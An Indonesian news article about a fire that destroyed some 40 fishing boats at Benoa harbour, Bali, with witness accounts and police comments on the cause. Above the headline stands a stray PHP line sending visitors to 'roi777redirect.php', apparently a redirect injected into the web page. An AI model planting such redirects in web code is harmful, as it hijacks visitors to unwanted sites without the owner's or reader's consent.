header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Puluhan Kapal di Pelabuhan Benoa Ludes Terbakar -
Puluhan Kapal di Pelabuhan Benoa Ludes Terbakar

Foto AGUNG BAYU/BALI EXPRESS/jpg

KEBAKARAN: Puluhan kapal ikan di Pelabuhan Benoa terbakar, Senin (9/7).

 

TRANSLAMPUNG.COM, DENPASAR – Sebanyak 40 unit kapal penangkap ikan ludes terbakar di Pelabuhan Barat Benoa Jalan Ikan Tuna IV Dermaga Barat tepatnya di depan PT Bandar Nelayan sejak Senin dini hari (9/7) pukul 01.30 wita. Asap hitam membumbung tinggi selama leboh kurang 12 jam kearah Jalan Tol Bali Mandara.

Penyebab kejadian hingga saat ini masih diduga karena korsleting listrik di salah satu kapal ikan yang siap berlayar hingga kemudian merembet ke kapal lainnya. Akhibat kebakaran ini diperkirakan kerugian mencabapai RP 120 miliar. Sementara untuk korban jiwa masih disampaikan nihil.

Menurut keterangan saksi security PT TKF I Ketut Kariana, 38, saat berjaga di pos mendengar ada salah satu ABK berteriak kebakaran selanjutnya saksi dan beberapa ABK berusaha memadamkan api dengan tabung pemadam. Namun api terus membesar menjalar ke sebelah lantaran angin saat itu bertiup kencang.

Sedangkan dari pengakuan Security Intimas Surya, Agung Artawan, 42, juga melihat api mulai membesar dari Kapal KM Cilacap Jaya Karya yang letaknya dibelakang kapal.

“Api berawal dari kapal ikan KM Cilacap Jaya Karya milik PT. TKF di bagian mesin yang saat itu masih dalam keadaan hidup dan menjalar ke beberapa kapal milik PT Intimas Surya dan PT Bandar Nelayan,” ujarnya.

Keterangan dari salah satu ABK Kapal Cilacap Jaya Karya yang bertugas di bagian mesin Supriyanto, 28, sekitar pukul 24.00 pihaknya tidur di atas kapal Cilacap Jaya Karya dan sekitar jam 01.55 terbangun karena dikapal tersebut lampu penenerangan mati. Saat pihaknya menuju ke kamar mesin ternyata api sudah mengepul dan menyala. Setelah itu api langsung merembet ke kapal ikan PT Intimas Surya dan PT Bandar Nelayan.

Upaya pemadaman tersebut melibatkan 11 unit PMK. Diantaranya 8 unit dari Kota Denpasar, 2 unit PMK Kabupaten Badung, 1 unit PMK Pelindo, Alkon milik PT Intimas, PT AKFI dan PT Bandar Nelayan. Serta mobil Water Canon dari Polresta Denpasar dan Polda Bali dan upaya swadaya dari masyarakat.

Dari informasi yang berhasil dikumpulkan sebanyak 8 orang saksi yang merupakan ABK sudah diperiksa atas kejadian bencana kebakaran kapal penangkap ikan tersebut pada Senin (9/7). Hal tersebut dibenarkan oleh

Kapolsek Benoa Kompol I Made Sukerti bahwa telah mengamankan para saksi dari kapal ikan KM Cilacap Jaya Karya yg merupakan awal munculnya api dikapal tersebut. Diantaranya 8 orang ABK, Wakil Kapten atau Mualim, Kapten Kapal dan penjaga mesin.

“Mengingat kapal terbuat dari kayu dan dilapisi fiber disamping itu kapal ada sebagian masih ada BBM berupa solar sehingga kapal mudah terbakar yang cepat meluas akibat dari angin kencang serta parkir kapal yang berdempetan,” jelasnya.

Sementara itu Kapolda Bali Irjen Pol Petrus Reinhard Golose saat memdatangi lokasi memyampaikan bahwa untuk efek lain musibah ini nantinya akan dilakukan usai pemadaman api. Apakah kebakaran ini murni kebakaran atau ada kesengajaan.

“Efek lain daripada ini nanti pasca kita memadamkan kebakaran ini. Saya sekaligus mengucapkan terima kasih kepada seluruh stakeholder terutama jajatan fire fighter ini yang luar biasa. Dibantu juga masyatakat dan anggota kepolisian,” jelasnya.

Golose memaparkan nantinya jika dalam pemeriksaan ditemukan bahwa seharusnya ini menjadi tanggung jawab masing – masing personel dengan kondisi parkir yang berdempetan. Sehingga kondisi tersebut bisa dikontrol. Dan harusnya di masing – masing kapal pun memasang alat – alat pemadam kebakaran. Terkait SOP, Golose pun mewanti-wanti agar benar – benar dilakukan. Baik saat kapal dalam keadaan hidup maupun saat kontroling.

“Kita lihat bencana yang ada yang berkaitan dengan kapal ini, karena human error kalau menurut saya. Karena tidak mungkin ada api. Kalau kita sudah pemeriksaan, kalau ada ketelitian daripada awak kapal,” tegasnya.

“Laporan yang saya terima. Sampai dengan sekarang kebakaran kapal masih berlanjut. Yang paling penting adalah memadamkan kebakaran. Kedua kami akan menetili apakah ini arson atau fire. Apakah ini pembakaran atau kebakaran. Tapi kalau dari awal laporan diterima ini adalah kebakaran dari kelalaian,” tandasnya. ((bx/afi/bay/yes/JPR/jpnn)

 

News Reporter